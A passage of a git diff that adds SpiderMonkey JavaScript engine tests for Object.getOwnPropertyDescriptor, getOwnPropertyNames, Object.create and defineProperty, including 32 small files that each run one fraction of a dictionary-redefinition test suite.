+expectDescriptor(pd, undefined);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor([], "length");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,,], "length");
+expected =
+ {
+ value: 2,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(new String("foobar"), "length");
+expected =
+ {
+ value: 6,
+ writable: false,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+function foo() { }
+o = foo;
+
+pd = Object.getOwnPropertyDescriptor(o, "length");
+expected =
+ {
+ value: 0,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor(o, "prototype");
+expected =
+ {
+ value: foo.prototype,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(Function, "length");
+expected =
+ {
+ value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = /foo/im;
+
+pd = Object.getOwnPropertyDescriptor(o, "lastIndex");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.getOwnPropertyDescriptor");
+
+printStatus("All tests passed");
diff --git a/js/src/tests/non262/object/15.2.3.4-01.js b/js/src/tests/non262/object/15.2.3.4-01.js
new file mode 100644
index 0000000000..3a84f0b667
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-01.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary =
+ 'Object.getOwnPropertyNames should play nicely with enumerator caching';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in JSON);
+var names = Object.getOwnPropertyNames(JSON);
+assertEq(names.length >= 2, true,
+ "wrong number of property names? [" + names + "]");
+assertEq(names.indexOf("parse") >= 0, true);
+assertEq(names.indexOf("stringify") >= 0, true);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-02.js b/js/src/tests/non262/object/15.2.3.4-02.js
new file mode 100644
index 0000000000..b5e0842c26
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-02.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: array objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a, names, expected;
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+
+a = [0, 1, 2];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "1", "2", "length"].sort();
+
+a = [1, , , 7];
+a.p = 2;
+Object.defineProperty(a, "q", { value: 42, enumerable: false });
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "3", "p", "q", "length"].sort();
+assertEq(arraysEqual(names, expected), true);
+
+
+a = [];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["length"];
+assertEq(arraysEqual(names, expected), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-03.js b/js/src/tests/non262/object/15.2.3.4-03.js
new file mode 100644
index 0000000000..55dcc139c5
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-03.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: function objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function two(a, b) { }
+
+assertEq(Object.getOwnPropertyNames(two).indexOf("length") >= 0, true);
+
+var bound0 = Function.prototype.bind
+ ? two.bind("this")
+ : function two(a, b) { };
+
+assertEq(Object.getOwnPropertyNames(bound0).indexOf("length") >= 0, true);
+assertEq(bound0.length, 2);
+
+var bound1 = Function.prototype.bind
+ ? two.bind("this", 1)
+ : function one(a) { };
+
+assertEq(Object.getOwnPropertyNames(bound1).indexOf("length") >= 0, true);
+assertEq(bound1.length, 1);
+
+var bound2 = Function.prototype.bind
+ ? two.bind("this", 1, 2)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound2).indexOf("length") >= 0, true);
+assertEq(bound2.length, 0);
+
+var bound3 = Function.prototype.bind
+ ? two.bind("this", 1, 2, 3)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound3).indexOf("length") >= 0, true);
+assertEq(bound3.length, 0);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-04.js b/js/src/tests/non262/object/15.2.3.4-04.js
new file mode 100644
index 0000000000..2561c7affc
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-04.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: regular expression objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var actual = Object.getOwnPropertyNames(/a/);
+var expected = ["lastIndex"];
+
+for (var i = 0; i < expected.length; i++)
+{
+ reportCompare(actual.indexOf(expected[i]) >= 0, true,
+ expected[i] + " should be a property name on a RegExp");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.5-01.js b/js/src/tests/non262/object/15.2.3.5-01.js
new file mode 100644
index 0000000000..70cfd64f59
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.5-01.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492840;
+var summary = 'ES5 Object.create(O [, Properties])';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("create" in Object, true);
+assertEq(Object.create.length, 2);
+
+var o, desc, props, proto;
+
+o = Object.create(null);
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+
+o = Object.create(null, { a: { value: 17, enumerable: false } });
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+assertEq("a" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
+assertEq(desc !== undefined, true, "no descriptor?");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props = Object.create({ bar: 15 });
+Object.defineProperty(props, "foo", { enumerable: false, value: 42 });
+proto = { baz: 12 };
+o = Object.create(proto, props);
+assertEq(Object.getPrototypeOf(o), proto);
+assertEq(Object.getOwnPropertyDescriptor(o, "foo"), undefined);
+assertEq("foo" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "bar"), undefined);
+assertEq("bar" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "baz"), undefined);
+assertEq(o.baz, 12);
+assertEq(o.hasOwnProperty("baz"), false);
+
+try {
+ var actual =
+ Object.create(Object.create({},
+ { boom: { get: function() { return "base"; }}}),
+ { boom: { get: function() { return "overridden"; }}}).boom
+} catch (e) {
+}
+assertEq(actual, "overridden");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-define-over-method.js b/js/src/tests/non262/object/15.2.3.6-define-over-method.js
new file mode 100644
index 0000000000..1cc9e13e14
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-define-over-method.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 568786;
+var summary =
+ 'Do not assert: !(attrs & (JSPROP_GETTER | JSPROP_SETTER)) with ' +
+ 'Object.defineProperty';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = { x: function(){} };
+Object.defineProperty(o, "x", { get: function(){} });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js
new file mode 100644
index 0000000000..aea3a41f92
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(1, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js
new file mode 100644
index 0000000000..833ecfe937
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(2, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js
new file mode 100644
index 0000000000..2f4673c49d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(3, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js
new file mode 100644
index 0000000000..7b2b89c878
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(4, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js
new file mode 100644
index 0000000000..87bed4dbe2
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(5, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js
new file mode 100644
index 0000000000..16b16d22d6
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(6, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js
new file mode 100644
index 0000000000..2a0509c30a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(7, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js
new file mode 100644
index 0000000000..7d49565b44
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(8, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js
new file mode 100644
index 0000000000..cf8e39e658
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(9, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js
new file mode 100644
index 0000000000..a65d17dff1
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(10, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js
new file mode 100644
index 0000000000..60e07c1c28
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(11, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js
new file mode 100644
index 0000000000..69045d0d1d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(12, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js
new file mode 100644
index 0000000000..95d39424ee
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(13, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js
new file mode 100644
index 0000000000..58bdb5e9f5
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(14, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js
new file mode 100644
index 0000000000..5828adec23
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(15, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js
new file mode 100644
index 0000000000..6e797312d8
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(16, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js
new file mode 100644
index 0000000000..f2dbb6ae9a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(17, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js
new file mode 100644
index 0000000000..f062ceabf8
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(18, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js
new file mode 100644
index 0000000000..96310b7bd7
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(19, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js
new file mode 100644
index 0000000000..9c3c52a25f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(20, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js
new file mode 100644
index 0000000000..e3f99899f2
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(21, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js
new file mode 100644
index 0000000000..85d6cf9645
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(22, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js
new file mode 100644
index 0000000000..a1a8d40e3f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(23, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js
new file mode 100644
index 0000000000..ff561a5dd3
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(24, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js
new file mode 100644
index 0000000000..0748343eec
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(25, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js
new file mode 100644
index 0000000000..4ab28fe386
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(26, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js
new file mode 100644
index 0000000000..f97d13b8f9
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(27, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js
new file mode 100644
index 0000000000..1d28e785aa
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(28, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js
new file mode 100644
index 0000000000..3d72404a0c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(29, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js
new file mode 100644
index 0000000000..d5ec96f312
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(30, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js
new file mode 100644
index 0000000000..182499268c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(31, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js
new file mode 100644
index 0000000000..6f78157b59
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(32, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-function-length.js b/js/src/tests/non262/object/15.2.3.6-function-length.js
new file mode 100644
index 0000000000..ddbb7b9f88
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-function-length.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
